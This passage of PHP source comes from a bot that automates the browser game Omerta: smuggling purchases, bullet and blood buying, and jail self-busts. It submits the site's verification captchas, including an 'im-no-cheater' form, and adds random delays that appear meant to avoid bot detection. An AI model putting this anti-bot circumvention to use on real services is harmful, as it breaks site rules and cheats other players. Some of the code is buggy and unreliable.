  2211.                         $settings['haveCoke'] = true;
  2212.                         return true;
  2213.                     } else {
  2214.                         $code = readCode();
  2215.                         if ($code == "~bc") {
  2216.                             output("Unviewable captha, reloading site", "Code");
  2217.                             buyCocaine();
  2218.                         }
  2219.  
  2220.                         if ($code == '~nt') {
  2221.                             output("No Typers. . .", 'Smuggling');
  2222.                         } else {
  2223.                             $post = "wine=0&cognac=0&whiskey=0&amaretto=0&beer=0&port=0&rum=$ba&typebooze=buybooze&morphine=0&heroin=0&opium=0&cocaine=$na&marihuana=0&tabacco=0&glue=0&typedrugs=buydrugs&ver=$code";
  2224.                             $res = post($omerta['smuggling'], $omerta['smuggling'], $post);
  2225.                             if (inStr("You only have the ability to buy", $res)) {
  2226.                                 // if you already got b/n simple sell it
  2227.                                 sellStuff(true);
  2228.                             }
  2229.                             if (getAmmount($res, $vers['text']['Cocaine']) == $na) {
  2230.                                 output("Bought " . getAmmount($res, 'Cocaine') . " units of Cocaine",
  2231.                                     "Smuggling");
  2232.                                 $settings['haveCoke'] = true;
  2233.                                 return true;
  2234.                             } elseif (inStr($vers['text']['Jail'], $res) || inStr("src=/static/images/game/generic/criminal.jpg",
  2235.                             $res)) {
  2236.                                 output("Caught!", "Smuggling");
  2237.                             } elseif (inStr($vers['text']['The code you'], $res)) {
  2238.                                 wrongCode();
  2239.                             }
  2240.                         }
  2241.  
  2242.                     }
  2243.                 } else
  2244.                     output("Boolean \$rum not true or false...wtf?", "ERROR");
  2245.             } else {
  2246.                 output("Price changed -_-", 'Smuggling');
  2247.                 output(getPrice($res, $vers['text']['Cocaine']), 'New Price');
  2248.                 return false;
  2249.             }
  2250.         } else {
  2251.             iaminjail();
  2252.             output("In Jail. . .", "Smuggling");
  2253.             doSelfBust($res);
  2254.             sleep(8 + rand(3, 8));
  2255.         }
  2256.     }
  2257. }
  2258. function doSelfBust($res)
  2259. {
  2260.     global $settings, $omerta, $vers;
  2261.     $price = str_replace(',', '', get_between($res,
  2262.         '<a href=iminjail.php?buymeout=yes>' . $vers['text']['Click here to buy yourself out for $ '],
  2263.         '</a></td><td valign="top"><br><br><form'));
  2264.     if (($price < $settings['maxBuyOut']) && is_numeric($price)) {
  2265.         get($GLOBALS['vers']['omertaURL_NS'] . "/iminjail.php?buymeout=yes", $GLOBALS['vers']['omertaURL_NS'] .
  2266.             '/iminjail.php');
  2267.         output("Bought Self out for $price", "Jail");
  2268.     }
  2269.     for ($x = 0; $x < 3; $x++) {
  2270.         $res = removeBetween("<!--", "-->", $res);
  2271.         $check = array("<form name='bustout' style='display: inline' action='iminjail.php' method='post'>",
  2272.             '<img src="/im-no-cheater/?id=',
  2273.             ' <input type="hidden" name="bustout" value=" Try it "><input type="submit" value=\' Try it \'></form>');
  2274.         if ($settings['doSelfBO'] == '1' && instrArray($check, $res)) {
  2275.             saveCaptcha($res, $GLOBALS['vers']['omertaURL_NS'] . '/iminjail.php');
  2276.             $post = "ver=" . readCode() . "&bustout=+Try+it+";
  2277.             $res = post($GLOBALS['vers']['omertaURL_NS'] . '/iminjail.php', $GLOBALS['vers']['omertaURL_NS'] .
  2278.                 '/iminjail.php', $post);
  2279.             if (!inStr($vers['text']['You are in jail for the next'], $res)) {
  2280.                 output("You are out", 'Bustout');
  2281.                 return true;
  2282.             } elseif (inStr($vers['text']['The code you'], $res)) {
  2283.                 wrongCode();
  2284.                 $x--;
  2285.             } else
  2286.                 output("Self Bust failed", "Bustout");
  2287.         }
  2288.  
  2289.     }
  2290.     sleep(rand(5, 15));
  2291.     return true;
  2292. }
  2293.  
  2294.  
  2295. function html2text($badStr)
  2296. {
  2297.     //remove PHP if it exists
  2298.     while (substr_count($badStr, '<' . '?') && substr_count($badStr, '?' . '>') &&
  2299.         strpos($badStr, '?' . '>', strpos($badStr, '<' . '?')) > strpos($badStr, '<' .
  2300.         '?')) {
  2301.         $badStr = substr($badStr, 0, strpos($badStr, '<' . '?')) . substr($badStr,
  2302.             strpos($badStr, '?' . '>', strpos($badStr, '<' . '?')) + 2);
  2303.     }
  2304.     //remove comments
  2305.     while (substr_count($badStr, '<!--') && substr_count($badStr, '-->') && strpos($badStr,
  2306.         '-->', strpos($badStr, '<!--')) > strpos($badStr, '<!--')) {
  2307.         $badStr = substr($badStr, 0, strpos($badStr, '<!--')) . substr($badStr, strpos($badStr,
  2308.             '-->', strpos($badStr, '<!--')) + 3);
  2309.     }
  2310.     //now make sure all HTML tags are correctly written (> not in between quotes)
  2311.     for ($x = 0, $goodStr = '', $is_open_tb = false, $is_open_sq = false, $is_open_dq = false;
  2312.         @strlen($chr = $badStr{$x}); $x++) {
  2313.         //take each letter in turn and check if that character is permitted there
  2314.         switch ($chr) {
  2315.             case '<':
  2316.                 if (!$is_open_tb && strtolower(substr($badStr, $x + 1, 5)) == 'style') {
  2317.                     $badStr = substr($badStr, 0, $x) . substr($badStr, strpos(strtolower($badStr),
  2318.                         '</style>', $x) + 7);
  2319.                     $chr = '';
  2320.                 } elseif (!$is_open_tb && strtolower(substr($badStr, $x + 1, 6)) == 'script') {
  2321.                     $badStr = substr($badStr, 0, $x) . substr($badStr, strpos(strtolower($badStr),
  2322.                         '</script>', $x) + 8);
  2323.                     $chr = '';
  2324.                 } elseif (!$is_open_tb) {
  2325.                     $is_open_tb = true;
  2326.                 } else {
  2327.                     $chr = '&lt;';
  2328.                 }
  2329.                 break;
  2330.             case '>':
  2331.                 if (!$is_open_tb || $is_open_dq || $is_open_sq) {
  2332.                     $chr = '&gt;';
  2333.                 } else {
  2334.                     $is_open_tb = false;
  2335.                 }
  2336.                 break;
  2337.             case '"':
  2338.                 if ($is_open_tb && !$is_open_dq && !$is_open_sq) {
  2339.                     $is_open_dq = true;
  2340.                 } elseif ($is_open_tb && $is_open_dq && !$is_open_sq) {
  2341.                     $is_open_dq = false;
  2342.                 } else {
  2343.                     $chr = '&quot;';
  2344.                 }
  2345.                 break;
  2346.             case "'":
  2347.                 if ($is_open_tb && !$is_open_dq && !$is_open_sq) {
  2348.                     $is_open_sq = true;
  2349.                 } elseif ($is_open_tb && !$is_open_dq && $is_open_sq) {
  2350.                     $is_open_sq = false;
  2351.                 }
  2352.         }
  2353.         $goodStr .= $chr;
  2354.     }
  2355.     //now that the page is valid (I hope) for strip_tags, strip all unwanted tags
  2356.     $goodStr = strip_tags($goodStr,
  2357.         '<title><hr><h1><h2><h3><h4><h5><h6><div><p><pre><sup><ul><ol><br><dl><dt><table><caption><tr><li><dd><th><td><a><area><img><form><input><textarea><button><select><option>');
  2358.     //strip extra whitespace except between <pre> and <textarea> tags
  2359.     $badStr = preg_split("/<\/?pre[^>]*>/i", $goodStr);
  2360.     for ($x = 0; @is_string($badStr[$x]); $x++) {
  2361.         if ($x % 2) {
  2362.             $badStr[$x] = '<pre>' . $badStr[$x] . '</pre>';
  2363.         } else {
  2364.             $goodStr = preg_split("/<\/?textarea[^>]*>/i", $badStr[$x]);
  2365.             for ($z = 0; @is_string($goodStr[$z]); $z++) {
  2366.                 if ($z % 2) {
  2367.                     $goodStr[$z] = '<textarea>' . $goodStr[$z] . '</textarea>';
  2368.                 } else {
  2369.                     $goodStr[$z] = preg_replace("/\s+/", ' ', $goodStr[$z]);
  2370.                 }
  2371.             }
  2372.             $badStr[$x] = implode('', $goodStr);
  2373.         }
  2374.     }
  2375.     $goodStr = implode('', $badStr);
  2376.     //remove all options from select inputs
  2377.     $goodStr = preg_replace("/<option[^>]*>[^<]*/i", '', $goodStr);
  2378.     //replace all tags with their text equivalents
  2379.     $goodStr = preg_replace("/<(\/title|hr)[^>]*>/i", "\n          --------------------\n",
  2380.         $goodStr);
  2381.     $goodStr = preg_replace("/<(h|div|p)[^>]*>/i", "\n\n", $goodStr);
  2382.     $goodStr = preg_replace("/<sup[^>]*>/i", '^', $goodStr);
  2383.     $goodStr = preg_replace("/<(ul|ol|br|dl|dt|table|caption|\/textarea|tr[^>]*>\s*<(td|th))[^>]*>/i",
  2384.         "\n", $goodStr);
  2385.     $goodStr = preg_replace("/<li[^>]*>/i", "\n· ", $goodStr);
  2386.     $goodStr = preg_replace("/<dd[^>]*>/i", "\n\t", $goodStr);
  2387.     $goodStr = preg_replace("/<(th|td)[^>]*>/i", "\t", $goodStr);
  2388.     $goodStr = preg_replace("/<a[^>]* href=(\"((?!\"|#|javascript:)[^\"#]*)(\"|#)|'((?!'|#|javascript:)[^'#]*)('|#)|((?!'|\"|>|#|javascript:)[^#\"'> ]*))[^>]*>/i",
  2389.         "[LINK: $2$4$6] ", $goodStr);
  2390.     $goodStr = preg_replace("/<img[^>]* alt=(\"([^\"]+)\"|'([^']+)'|([^\"'> ]+))[^>]*>/i",
  2391.         "[IMAGE: $2$3$4] ", $goodStr);
  2392.     $goodStr = preg_replace("/<form[^>]* action=(\"([^\"]+)\"|'([^']+)'|([^\"'> ]+))[^>]*>/i",
  2393.         "\n[FORM: $2$3$4] ", $goodStr);
  2394.     $goodStr = preg_replace("/<(input|textarea|button|select)[^>]*>/i", "[INPUT] ",
  2395.         $goodStr);
  2396.     //strip all remaining tags (mostly closing tags)
  2397.     $goodStr = strip_tags($goodStr);
  2398.     //convert HTML entities
  2399.     $goodStr = strtr($goodStr, array_flip(get_html_translation_table(HTML_ENTITIES)));
  2400.     preg_replace("/&#(\d+);/me", "chr('$1')", $goodStr);
  2401.     //wordwrap
  2402.     $goodStr = wordwrap($goodStr);
  2403.     //make sure there are no more than 3 linebreaks in a row and trim whitespace
  2404.     return preg_replace("/^\n*|\n*$/", '', preg_replace("/[ \t]+(\n|$)/", "$1",
  2405.         preg_replace("/\n(\s*\n){2}/", "\n\n\n", preg_replace("/\r\n?|\f/", "\n",
  2406.         str_replace(chr(160), ' ', $goodStr)))));
  2407. }
  2408. function parseHealth($res)
  2409. {
  2410.     global $vers;
  2411.     $res_text = html2text($res);
  2412.     $res_text = substr($res_text, strpos($res_text, $vers['text']['Rank progress']));
  2413.     $health = trim(get_between($res_text, '[LINK: bloodbank.php]', $vers['text']['Killing skill']));
  2414.     $health = str_replace('%', '', $health);
  2415.     return $health;
  2416. }
  2417.  
  2418. function getBulletPrice($res)
  2419. {
  2420.     $result = $res;
  2421.     // Finds the price for each bullet
  2422.     $findme = '$';
  2423.     $pos = stristr($result, $findme);
  2424.     $pos = substr($pos, 1, 3);
  2425.     return $pos;
  2426. }
  2427.  
  2428. function getBulletAmount($res)
  2429. {
  2430.     global $vers;
  2431.     $result = $res;
  2432.     $findme = $vers['text']['There are'];
  2433.     $pos = stristr($result, $findme);
  2434.     $pos = substr($pos, 10, 10);
  2435.     $price = explode(" ", $pos);
  2436.     return $price[0];
  2437. }
  2438.  
  2439.  
  2440. function buyBullets()
  2441. {
  2442.     global $settings, $omerta, $priceChange, $priceSec, $vers;
  2443.     $maxPrice = $settings['maxBulletPrice']; //max single bullet price
  2444.     $minAmmount = $settings['minAmmountBullets']; //min ammount of bullets to buy
  2445.     $moneyForBuying = $settings['minBulletMoney']; //minimal ammount of money needed before you buy bullets
  2446.     while (true) {
  2447.         if (time() >= $priceChange) {
  2448.             $result = get($omerta['bullets'], $omerta['menu']);
  2449.             $cash = str_replace(',', '', get_between($result, $vers['text']["You've got"], $vers['text']['in your pocket'])); //parses cash from page
  2450.             if ($cash > $moneyForBuying) {
  2451.                 $price = getBulletPrice($result);
  2452.                 if ($price > $maxPrice) {
  2453.                     output("Too expensive to buy, $price", "Bullets");
  2454.                     $priceChange = time()+rand(4,8);
  2455.                     return true;
  2456.                 } else {
  2457.                     $amount = getBulletAmount($result);
  2458.                     if ($amount >= $minAmmount) {
  2459.                         if ($amount >= 400) {
  2460.                             //race to buy second, not first, helpful since less competition for under 400 :)
  2461.                             $amountbuy = $amount - 400;
  2462.                             if ($amountbuy < $minAmmount || $amountbuy > 400)
  2463.                                 $amountbuy = 400;
  2464.                         } else {
  2465.                             $amountbuy = $amount;
  2466.                         }
  2467.                         output("Buying " . $amountbuy . " of $amount in factory for $price pr. bullet",
  2468.                             'Bullets');
  2469.                         $checkArray = array('<form name="sysbul" action="bullets2.php" method="post">',
  2470.                             '<input type="text" name="amount_sys" size="8">',
  2471.                             '<input type="text" name="ver_sys" size="3">',
  2472.                             '<input type="submit" name="buy_sys" value="Buy">',
  2473.                             '<input type="hidden" name="curprice"');
  2474.                         if (inStrArray($checkArray, $result)) {
  2475.                             saveCaptcha($result, $omerta['bullets']);
  2476.                             $code = readCode();
  2477.                             if ($code == "~bc") {
  2478.                                 output("Unviewable captcha, reloading site", "Code");
  2479.                                 buyBullets();
  2480.                             }
  2481.                             $post = "amount_sys=$amountbuy&ver_sys=$code&buy_sys=Buy&curprice=$price";
  2482.                             $result = post($omerta['bullets'], $omerta['bullets'], $post);
  2483.                             $location = stripos($result, $vers['text']["You don't have"]);
  2484.                             if ($location > 1) {
  2485.                                 output("You dont have enough cash", 'Bullets');
  2486.                                 return false;
  2487.                             }
  2488.                             $location = stripos($result, $vers['text']['This factory does']);
  2489.                             if ($location > 1) {
  2490.                                 output("Sorry, the factory is out of bullets", 'Bullets');
  2491.                                 $priceChange = time()+rand(4,8);
  2492.                                 return true;
  2493.                             }
  2494.                             $location = stripos($result, $vers['text']['The price per bullet just']);
  2495.                             if ($location > 1) {
  2496.                                 output("The price per bullets have changed", 'Bullets');
  2497.                                 $priceChange = time()+rand(4,8);
  2498.                                 return true;
  2499.                             }
  2500.                             $location = stripos($result, $vers['text']['Success, you bought ']);
  2501.                             if ($location > 1) {
  2502.                                 $price2 = $amountbuy * $price;
  2503.                                 output("Success, you bought $amountbuy bullets for " . $price2 . "$ (" . $price .
  2504.                                     "$)", 'Bullets');
  2505.                                 $priceChange = time()+3660;
  2506.                                 return false;
  2507.  
  2508.                             }
  2509.                             if (inStr($vers['text']['The code you verified'], $result)) {
  2510.                                 wrongCode();
  2511.                                 $priceChange = time()+rand(4,8);
  2512.                                 return true;
  2513.                             }
  2514.                         }
  2515.  
  2516.                     } else {
  2517.                         output("Only " . $amount . " in factory - Not buying", 'Bullets');
  2518.                         $priceChange = time()+rand(4,8);
  2519.                         return true;
  2520.                     }
  2521.                 }
  2522.  
  2523.             } elseif (inStr("src=/static/images/game/generic/criminal.jpg", $result)) {
  2524.                 iaminjail();
  2525.                 output("In Jail. . .", 'Bullets');
  2526.                 return false;
  2527.             } else {
  2528.                 output("Not enough money on pocket. Your money for buying is set to $moneyForBuying",
  2529.                     'Bullets');
  2530.                 write2file('bulletmoney.html', $result);
  2531.                 return false;
  2532.  
  2533.             }
  2534.         }
  2535.     }
  2536. }
  2537.  
  2538. function buyBlood($ammount)
  2539. {
  2540.  
  2541.     global $omerta, $settings, $scriptSite, $vers;
  2542.     output("Buying $ammount units of blood", "Bloodbank");
  2543.     $res = get($omerta['blood'], $omerta['menu']);
  2544.     stillLoggedIn($res);
  2545.  
  2546.     // if you are in jail
  2547.     if (substr_count($res, $vers['text']['You are in jail for the next']) == 1) {
  2548.         iaminjail();
  2549.         return;
  2550.     }
  2551.  
  2552.     verifyBloodInputs($res);
  2553.  
  2554.     // check to see if there are options to buy blood, if health is 100% there is no option to buy blood.
  2555.     if (substr_count($res, '<option value=') == 0) {
  2556.         output("No option to buy blood.", "Bloodbank");
  2557.         doSelfBust($res);
  2558.         sleep(rand(5, 13));
  2559.         return;
  2560.  
  2561.     }
  2562.  
  2563.  
  2564.     sleep(7 + (rand(1, 4)));
  2565.  
  2566.     // if there are still 4 bloodprices get the price from them
  2567.     $pos = strpos($res, '$', 0);
  2568.     $pos = $pos + 1;
  2569.     $bloodpriceA = substr("$res", $pos, 4);
  2570.  
  2571.     $pos = strpos($res, '$', $pos);
  2572.     $pos = $pos + 1;
  2573.     $bloodpriceB = substr("$res", $pos, 4);
  2574.  
  2575.     $pos = strpos($res, '$', $pos);
  2576.     $pos = $pos + 1;
  2577.     $bloodpriceAB = substr("$res", $pos, 4);
  2578.  
  2579.     $pos = strpos($res, '$', $pos);
  2580.     $pos = $pos + 1;
  2581.     $bloodprice0 = substr("$res", $pos, 4);
  2582.  
  2583.     $bloodorder = array('A' => $bloodpriceA, 'B' => $bloodpriceB, 'AB' => $bloodpriceAB,
  2584.         0 => $bloodprice0);
  2585.     $bloodp = array($bloodpriceA, $bloodpriceB, $bloodpriceAB, $bloodprice0);
  2586.     sort($bloodp);
  2587.  
  2588.  
  2589.     // If there is 1 option to buy blood get the blood type from it
  2590.     if (substr_count($res, '<option value=') == 1) {
  2591.         $pos = strpos($res, '<option value=', 0);
  2592.         $pos = $pos + 15;
  2593.         $bloodtype = substr("$res", $pos, 1);
  2594.  
  2595.         // check to see if it still is option 0 as it should be
  2596.  
  2597.         if ($bloodtype != 0) {
  2598.             output("Bloodtype 0 his option changed", "Bloodbank");
  2599.             sleep(10);
  2600.             die();
  2601.         }
  2602.  
  2603.         // setting the buy type to 0  also adding the price
  2604.         $buytype = 0;
  2605.         $buyprice = $bloodprice0;
  2606.  
  2607.     } // end from if with 1 option
  2608.  
  2609.     // If there are 2 options to buy blood get the blood type from it
  2610.     elseif (substr_count($res, '<option value=') == 2) {
  2611.  
  2612.         // get option 1 the bloodtype
  2613.         $pos = strpos($res, '<option value=', 0);
  2614.         $pos = $pos + 15;
  2615.         $bloodtype = substr("$res", $pos, 1);
  2616.         // check to see if bloodtype is A or B or 0
  2617.         if ($bloodtype != 0) {
  2618.             if ($bloodtype != 'A') {
  2619.                 if ($bloodtype != 'B') {
  2620.                     write2file('bloodchange.html', $res);
  2621.                     output("Option of bloodtypes2 changed", "Bloodbank");
  2622.                     sleep(10);
  2623.                     die();
  2624.                 }
  2625.             }
  2626.         }
  2627.  
  2628.         // get option 2 the bloodtype
  2629.         $pos = strpos($res, '<option value=', $pos);
  2630.         $pos = $pos + 15;
  2631.         $bloodtype2 = substr("$res", $pos, 1);
  2632.         // check to see if bloodtype is A or B or 0
  2633.         if ($bloodtype2 != 0) {
  2634.             if ($bloodtype2 != 'A') {
  2635.                 if ($bloodtype2 != 'B') {
  2636.                     write2file('bloodchange.html', $res);
  2637.                     output("Option of bloodtypes2 changed", "Bloodbank");
  2638.                     sleep(10);
  2639.                     die();
  2640.                 }
  2641.             }
  2642.         }
  2643.         $buyoptions = array();
  2644.  
  2645.         foreach ($bloodorder as $type => $price) {
  2646.             // adding the prices of the bloodtypes that can be bought
  2647.             if (($bloodtype == $type) or ($bloodtype2 == $type)) {
  2648.                 array_push($buyoptions, $price);
  2649.             }
  2650.         }
  2651.         sort($buyoptions);
  2652.  
  2653.         foreach ($bloodorder as $type => $price) {
  2654.             // if the lowest bloodprice matches the price then the bloodtype + price will be set so we know what to buy against which price
  2655.             if ($buyoptions[0] == $price) {
  2656.                 $buytype = $type;
  2657.                 $buyprice = $buyoptions[0];
  2658.             }
  2659.         }
  2660.     } // end from if with 2 options
  2661.  
  2662.  
  2663.     // If there are 4 options to buy blood get the blood types from it to check if options did not changed
  2664.     elseif (substr_count($res, '<option value=') == 4) {
  2665.  
  2666.         // get option 1 the bloodtype
  2667.         $pos = strpos($res, '<option value=', 0);
  2668.         $pos = $pos + 15;
  2669.         $bloodtype = substr("$res", $pos, 2);
  2670.         // gonna delete '' since bloodtype now also can be 2 letters instead of 1
  2671.         $bloodtype = str_replace("\"", "", $bloodtype);
  2672.         // check to see if bloodtype is A or B or 0 or AB
  2673.         if ($bloodtype != 0) {
  2674.             if ($bloodtype != 'A') {
  2675.                 if ($bloodtype != 'B') {
  2676.                     if ($bloodtype != 'AB') {
  2677.                         write2file('blood_change.html', $res);
  2678.                         output("Option of bloodtypes4 changed", "Bloodbank");
  2679.                         sleep(10);
  2680.                         die();
  2681.                     }
  2682.                 }
  2683.             }
  2684.         }
  2685.         // get option 2 the bloodtype
  2686.         $pos = strpos($res, '<option value=', $pos);
  2687.         $pos = $pos + 15;
  2688.         $bloodtype2 = substr("$res", $pos, 2);
  2689.         // gonna delete '' since bloodtype now also can be 2 letters instead of 1
  2690.         $bloodtype2 = str_replace("\"", "", $bloodtype2);
  2691.         // check to see if bloodtype is A or B or 0 or AB
  2692.         if ($bloodtype2 != 0) {
  2693.             if ($bloodtype2 != 'A') {
  2694.                 if ($bloodtype2 != 'B') {
  2695.                     if ($bloodtype2 != 'AB') {
  2696.                         write2file('blood_change.html', $res);
  2697.                         output("Option of bloodtypes4 changed", "Bloodbank");
  2698.                         sleep(10);
  2699.                         die();
  2700.                     }
  2701.                 }
  2702.             }
  2703.         }
  2704.  
  2705.         // get option 3 the bloodtype
  2706.         $pos = strpos($res, '<option value=', $pos);
  2707.         $pos = $pos + 15;
  2708.         $bloodtype3 = substr("$res", $pos, 2);
  2709.         // gonna delete '' since bloodtype now also can be 2 letters instead of 1
  2710.         $bloodtype3 = str_replace("\"", "", $bloodtype3);
  2711.         // check to see if bloodtype is A or B or 0 or AB
  2712.         if ($bloodtype3 != 0) {
  2713.             if ($bloodtype3 != 'A') {
  2714.                 if ($bloodtype3 != 'B') {
  2715.                     if ($bloodtype3 != 'AB') {
  2716.                         write2file('blood_change.html', $res);
  2717.                         output("Option of bloodtypes4 changed", "Bloodbank");
  2718.                         sleep(10);
  2719.                         die();
  2720.                     }
  2721.                 }
  2722.             }
  2723.         }
  2724.         // get option 4 the bloodtype
  2725.         $pos = strpos($res, '<option value=', $pos);
  2726.         $pos = $pos + 15;
  2727.         $bloodtype4 = substr("$res", $pos, 2);
  2728.         // gonna delete '' since bloodtype now also can be 2 letters instead of 1
  2729.         $bloodtype4 = str_replace("\"", "", $bloodtype3);
  2730.         // check to see if bloodtype is A or B or 0 or AB
  2731.         if ($bloodtype4 != 0) {
  2732.             if ($bloodtype4 != 'A') {
  2733.                 if ($bloodtype4 != 'B') {
  2734.                     if ($bloodtype4 != 'AB') {
  2735.                         write2file('blood_change.html', $res);
  2736.                         output("Option of bloodtypes4 changed", "Bloodbank");
  2737.                         sleep(10);
  2738.                         die();
  2739.                     }
  2740.                 }
  2741.             }
  2742.         }
  2743.  
  2744.         foreach ($bloodorder as $type => $price) {
  2745.             // if the lowest bloodprice matches the price then the bloodtype + price will be set so we know what to buy against which price
  2746.             if ($bloodp[0] == $price) {
  2747.                 $buytype = $type;
  2748.                 $buyprice = $bloodp[0];
  2749.             }
  2750.         }
  2751.     } // end from if with 4 options
  2752.  
  2753.  
  2754.     // if the bloodprice is lower then the max price blood may cost then buy it
  2755.     if (trim($buyprice) <= trim($settings['maxBloodPrice'])) {
  2756.  
  2757.         // http://www.barafranca.com/bloodbank.php?UnitstoBuy=10&BuyType=0&Buy=Buy%21
  2758.         $get = "?UnitstoBuy=" . $ammount . "&BuyType=" . $buytype . "&Buy=Buy%21";
  2759.  
  2760.         $omerta['blood'] = $GLOBALS['vers']['omertaURL_NS'] . '/bloodbank.php';
  2761.         $get = $omerta['blood'] . $get;
  2762.         $res = get($get, $omerta['blood']);
  2763.         write2file('bloodchange.html', $res);
  2764.  
  2765.         // checking if you had enough money for it
  2766.         if (substr_count($res, $vers['text']["You don't have enough"]) == 1) {
  2767.             output("You do not have enough money to buy blood.", "Bloodbank");
  2768.             sleep(5 + (rand(1, 8)));
  2769.         }
  2770.  
  2771.         // check to see if you did not allrdy bought in the last 45min
  2772.         if (substr_count($res, $vers['text']['Sorry, you can only buy blood once every 45 minutes.']) ==
  2773.             1) {
  2774.             output("Failed to buy blood cause you bought it in the last 45 min.",
  2775.                 "Bloodbank");
  2776.             sleep(5 + (rand(1, 9)));
  2777.         }
  2778.  
  2779.         // checking if you bought it.
  2780.         elseif ((substr_count($res, $vers['text']['bought']) == 1) and (substr_count($res,
  2781.             '$') == 1)) {
  2782.             // getting amount of units bought + total price paid for it
  2783.             $pos = strpos($res, $vers['text']['bought'], 0);
  2784.             $pos = $pos + 7;
  2785.             $unitsbought = substr("$res", $pos, 2);
  2786.  
  2787.             $pos = strpos($res, '$', $pos);
  2788.             $pos = $pos + 1;
  2789.             $totalprice = substr("$res", $pos, 7);
  2790.  
  2791.             // deleting a few letters which are in there if the price is low.
  2792.             $totalprice = str_replace("p", "", $totalprice);
  2793.             $totalprice = str_replace("e", "", $totalprice);
  2794.             $totalprice = str_replace("r", "", $totalprice);
  2795.  
  2796.             output("Bought $unitsbought units of blood for a price of: $totalprice",
  2797.                 "Bloodbank");
  2798.  
  2799.             // units are bought could put a timer here that it does not buy for the next 45min? however how often are you buying blood?
  2800.             sleep(3 + (rand(1, 7)));
  2801.         } // end from elseif that you bought it
  2802.  
  2803.         // check to see if you did not allrdy bought in the last 45min
  2804.         elseif (substr_count($res,
  2805.             'You do not have enough health missing to buy that amount of blood.') == 1) {
  2806.             output("You do not have enough health missing to buy that amount of blood. :s",
  2807.                 "Bloodbank");
  2808.             sleep(5 + (rand(1, 10)));
  2809.  
  2810.         }
  2811.  
  2812.  
  2813.     } // end from if the price is lower then the max price
  2814.     // else the bloodprice is to high
  2815.     else {
  2816.         output("The bloodprice is to high to buy it. $buyprice ", "Bloodbank");
  2817.         sleep(4 + (rand(1, 6)));
  2818.     } // end else
  2819.  
  2820. } // buyblood($ammount)
  2821.  
  2822. function verifyBloodInputs($res)
  2823. {
  2824.  
  2825.     global $omerta;
  2826.  
  2827.  
  2828.     // going to check if omerta there are still 5 input names.
  2829.     if (substr_count($res, 'name=') != 3) {
  2830.         // should be 3
  2831.         output("Total amount names changed substr_count($res,'name=')", "Bloodbank");
  2832.         write2file('bloodchange.html', $res);
  2833.         sleep(10);
  2834.         die();
  2835.     }
  2836.     // going to check if omerta there inputs did not changed names
  2837.     if (substr_count($res, 'name="UnitstoBuy"') != 1) {
  2838.         output("Bloodpage was changed. (stop script)", "Bloodbank");
  2839.         write2file('bloodchange.html', $res);
  2840.         sleep(10);
  2841.         die();
  2842.     }
  2843.     if (substr_count($res, 'name="BuyType"') != 1) {
  2844.         output("Bloodpage was changed. (stop script)", "Bloodbank");
  2845.         write2file('bloodchange.html', $res);
  2846.         sleep(10);
  2847.         die();
  2848.     }
  2849.     if (substr_count($res, 'name="Buy"') != 1) {
  2850.         output("Bloodpage was changed. (stop script)", "Bloodbank");
  2851.         write2file('bloodchange.html', $res);
  2852.         sleep(10);
  2853.         die();
  2854.     }
  2855.  
  2856.     // going to check if omerta there inputvalue from submit did not changed name
  2857.     if (substr_count($res, 'value="Buy!"') != 1) {
  2858.         output("Hidden value was changed. (stop script)", "Bloodbank");
  2859.         write2file('bloodchange.html', $res);
  2860.         sleep(10);
  2861.         die();
  2862.     }
  2863.  
  2864.  
  2865.     // checking if action still is self
  2866.  
  2867.  
  2868.     $actionlocation = 'action="bloodbank.php"';
  2869.     if (substr_count($res, $actionlocation) != 1) {
  2870.         output("Action was changed. (do not run script) $actionlocation ", "Bloodbank");
  2871.         write2file('bloodchange.html', $res);
  2872.         sleep(10);
  2873.         die();
  2874.     }
  2875.  
  2876.  
  2877.     // check to see if there are still 4 bloodprices.
  2878.     if (substr_count($res, '$') != 4) {
  2879.         output("There are not enough bloodprices. ", "Bloodbank");
  2880.         write2file('bloodchange.html', $res);
  2881.         sleep(10);
  2882.         die();
  2883.     }
  2884. } // end verifyBloodInputs
  2885.  
  2886. function verifyreply($readbomsg)
  2887. {
  2888.     global $vers;
  2889.     // going to check if omerta there inputs did not changed names
  2890.     if ((substr_count($readbomsg, 'value=') != 4) && (substr_count($readbomsg,
  2891.         'name=') != 5)) {
  2892.         // should be 4 5 value/name
  2893.         output("Total amount of values/names changed substr_count($readbomsg , 'value=') (substr_count($readbomsg , 'name=') ",
  2894.             "Reply msg");
  2895.         write2file('repmsg.html', $readbomsg);
  2896.         sleep(10);
  2897.         die();
  2898.     }
  2899.     if (substr_count($readbomsg, 'name=send value=yes>') != 1) {
  2900.         output("Names+values got changed. (not sending any msgs out)", "Reply msg");
  2901.         write2file('repmsg.html', $readbomsg);
  2902.         sleep(10);
  2903.         die();
  2904.     }
  2905.     if (substr_count($readbomsg, 'name=nick size=55 value=') != 1) {
  2906.         output("Names+values got changed. (not sending any msgs out)", "Reply msg");
  2907.         write2file('repmsg.html', $readbomsg);
  2908.         sleep(10);
  2909.         die();
  2910.     }
  2911.     if (substr_count($readbomsg, 'name=subject') != 1) {
  2912.         output("Names+values got changed. (not sending any msgs out)", "Reply msg");
  2913.         write2file('repmsg.html', $readbomsg);
  2914.         sleep(10);
  2915.         die();
  2916.     }
  2917.     if ((substr_count($readbomsg, 'value="Re: ' . $vers['text']['Bustout'] . '"') !=
  2918.         1) && (substr_count($readbomsg, 'value="Re: ' . $vers['text']['Bailed'] . '"') !=
  2919.         1)) {
  2920.         output("Names+values got changed. (not sending any msgs out)", "Reply msg");
  2921.         write2file('repmsg.html', $readbomsg);
  2922.         sleep(10);
  2923.         die();
  2924.     }
  2925.     if (substr_count($readbomsg, 'name=msg>') != 1) {
  2926.         output("Names+values got changed. (not sending any msgs out)", "Reply msg");
  2927.         write2file('repmsg.html', $readbomsg);
  2928.         sleep(10);
  2929.         die();
  2930.     }
  2931.     if (substr_count($readbomsg, 'type=submit value="' . $vers['text']['Send'] .
  2932.         '"></form>') != 1) {
  2933.         output("Names+values got changed. (not sending any msgs out)", "Reply msg");
  2934.         write2file('repmsg.html', $readbomsg);
  2935.         sleep(10);
  2936.         die();
  2937.     }
  2938.  
  2939.     // checking if action still is self
  2940.     $actionlocation = 'action=msg.php method=post';
  2941.     if (substr_count($readbomsg, $actionlocation) != 1) {
  2942.         output("Action was changed. (do not run script) ", "Reply msg");
  2943.         write2file('repmsg.html', $readbomsg);
  2944.         sleep(12);
  2945.         die();
  2946.     }
  2947. } // end verify reply
  2948.  
  2949. function findinside($start, $end, $string)
  2950. {
  2951.     preg_match_all('/' . preg_quote($start, '/') . '([^\.)]+)' . preg_quote($end,
  2952.         '/') . '/i', $string, $m);
  2953.     return $m[1];
  2954. }
  2955.  
